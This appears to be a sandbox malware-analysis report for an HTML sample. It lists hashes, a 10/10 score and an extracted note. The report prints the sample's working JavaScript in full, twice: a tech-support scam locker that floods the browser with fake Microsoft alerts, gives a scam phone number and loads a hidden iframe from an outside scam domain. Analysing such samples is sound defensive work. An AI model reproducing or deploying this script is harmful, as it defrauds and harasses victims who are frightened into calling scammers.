Static task
static1
Behavioral task
behavioral1
Sample
6541e39158cc7ce57f795134fcd8f954_JaffaCakes118.html
Resource
win7-20240221-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
6541e39158cc7ce57f795134fcd8f954_JaffaCakes118.html
Resource
win10v2004-20240226-en
0 signatures
150 seconds
General
-
Target
6541e39158cc7ce57f795134fcd8f954_JaffaCakes118
-
Size
9KB
-
MD5
6541e39158cc7ce57f795134fcd8f954
-
SHA1
c8e890e13b933ea7b7cdc48ac53ee91a53ef6752
-
SHA256
6e651c834e35ce20e96568821efbb3e1cc3332ccf18466d09dc428119e10cfc3
-
SHA512
d64ca7e0bc25943611388774510ce17f55c16caff628abb0fbd3b5aec51450b1a842c1810829197046ab200b6635008db919c147e3f8c6edbcbbb3ac01f8d15d
-
SSDEEP
192:dPGFX4i8L1bHDgCoUheH/IhRkN6xIJCuJlw0Y0ILXxk:dWX4i8LhH39efRoxmnlRYPLXG
Score
10/10
Malware Config
Extracted
Ransom Note
Your computer has been Locked!
Your computer with the IP address 182.74.27.50 has been infected by the Virus RDN/YahLover.worm!055BCCAC9FEC -- Because System Activation KEY has expired & Your information (for example, passwords, messages, and credit cards) have been stolen. Call the Technical Support number +1-844-313-2994 to protect your files and identity from further damage.
Automatically report details of possible security incidents to Google Privacy policy
var Msg="***System Alert*** \nSystem Blocked for Security Reasons.\nPlease ensure you do not restart your computer it may lead to Permanent Damage to the System or data loss.\n\nWARNING - Microsoft windows has detected that a porn virus has infected your system and trying to steal pictures, data and social networking passwords. This is a serious hacking issue You may be a victim of online identity theft.\nPlease Call +1-844-313-2994 for Support or Visit Support.Microsoft.com.\n\nTerms & Conditions\nCopyright 2016 ?Microsoft. All rights reserved.\n\n*******************************************************************\nCall Toll Free +1-844-313-2994 Or Visit Support.microsoft.com.\n*******************************************************************\n\nYour Browser have been hijacked or hacked.\nThis may happen due to obsolete network protections.\nConsequenty we are performing additional security checks to verify the source of the attack and have halted all your system resources in order to prevent any additional damage to your system and information. Please ensure you do not restart your computer to prevent data loss.\n\nPrivate and Financial Data is at RISK: \n. Your credit card details and banking information \n. Your e-mail passwords and other account passwords \n. Your Facebook, Skype, AIM, ICQ and other chat logs \n. Your private & family photos and other sensitive files \n. Your webcam could be accessed remotely by stalkers\n\n IMMEDIATELY CALL MICROSOFT AT +1-844-313-2994 \n\nMORE ABOUT THIS INFECTION: \nSeeing these pop-up's means that you may have a virus installed on your computer which puts the security of your personal data at a serious risk.\nIt's strongly advised that you call the number above and get your computer inspected before you continue using your internet, especially for Shopping or Banking.\n\nCall immediately for assistance.\nContact Microsoft At ( +1-844-313-2994 )\n\nTerms & Conditions\nCopyright 2016 Microsoft. All rights reserved.\n\n";if(window.chrome){if(window.opr){}else{function msg_ch(){alert(Msg);}window.setInterval(function(){msg_ch()},1100);}} else {if(window.sidebar){function msg_ff(){var i=document.createElement("div");i.innerHTML='<div style="position:absolute;top:-100px;left:-9999px;z-index:1;"><iframe src="http://microsoft090xxerror.tk/"></iframe></div>';document.body.appendChild(i);}window.setInterval(function(){msg_ff()},100);} else {function msg(){var r = confirm(Msg);if (r == true) {alert(Msg);} else {alert(Msg);}}window.setInterval(function(){msg()},100);}}
var Msg="***System Alert*** \nSystem Blocked for Security Reasons.\nPlease ensure you do not restart your computer it may lead to Permanent Damage to the System or data loss.\n\nWARNING - Microsoft windows has detected that a porn virus has infected your system and trying to steal pictures, data and social networking passwords. This is a serious hacking issue You may be a victim of online identity theft.\nPlease Call +1-844-313-2994 for Support or Visit Support.Microsoft.com.\n\nTerms & Conditions\nCopyright 2016 ?Microsoft. All rights reserved.\n\n*******************************************************************\nCall Toll Free +1-844-313-2994 Or Visit Support.microsoft.com.\n*******************************************************************\n\nYour Browser have been hijacked or hacked.\nThis may happen due to obsolete network protections.\nConsequenty we are performing additional security checks to verify the source of the attack and have halted all your system resources in order to prevent any additional damage to your system and information. Please ensure you do not restart your computer to prevent data loss.\n\nPrivate and Financial Data is at RISK: \n. Your credit card details and banking information \n. Your e-mail passwords and other account passwords \n. Your Facebook, Skype, AIM, ICQ and other chat logs \n. Your private & family photos and other sensitive files \n. Your webcam could be accessed remotely by stalkers\n\n IMMEDIATELY CALL MICROSOFT AT +1-844-313-2994 \n\nMORE ABOUT THIS INFECTION: \nSeeing these pop-up's means that you may have a virus installed on your computer which puts the security of your personal data at a serious risk.\nIt's strongly advised that you call the number above and get your computer inspected before you continue using your internet, especially for Shopping or Banking.\n\nCall immediately for assistance.\nContact Microsoft At ( +1-844-313-2994 )\n\nTerms & Conditions\nCopyright 2016 Microsoft. All rights reserved.\n\n";if(window.chrome){if(window.opr){}else{function msg_ch(){alert(Msg);}window.setInterval(function(){msg_ch()},1100);}} else {if(window.sidebar){function msg_ff(){var i=document.createElement("div");i.innerHTML='<div style="position:absolute;top:-100px;left:-9999px;z-index:1;"><iframe src="http://microsoft090xxerror.tk/"></iframe></div>';document.body.appendChild(i);}window.setInterval(function(){msg_ff()},100);} else {function msg(){var r = confirm(Msg);if (r == true) {alert(Msg);} else {alert(Msg);}}window.setInterval(function(){msg()},100);}}
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-75599082-1', 'auto');
ga('send', 'pageview');
Signatures
Files
-
6541e39158cc7ce57f795134fcd8f954_JaffaCakes118.html .js polyglot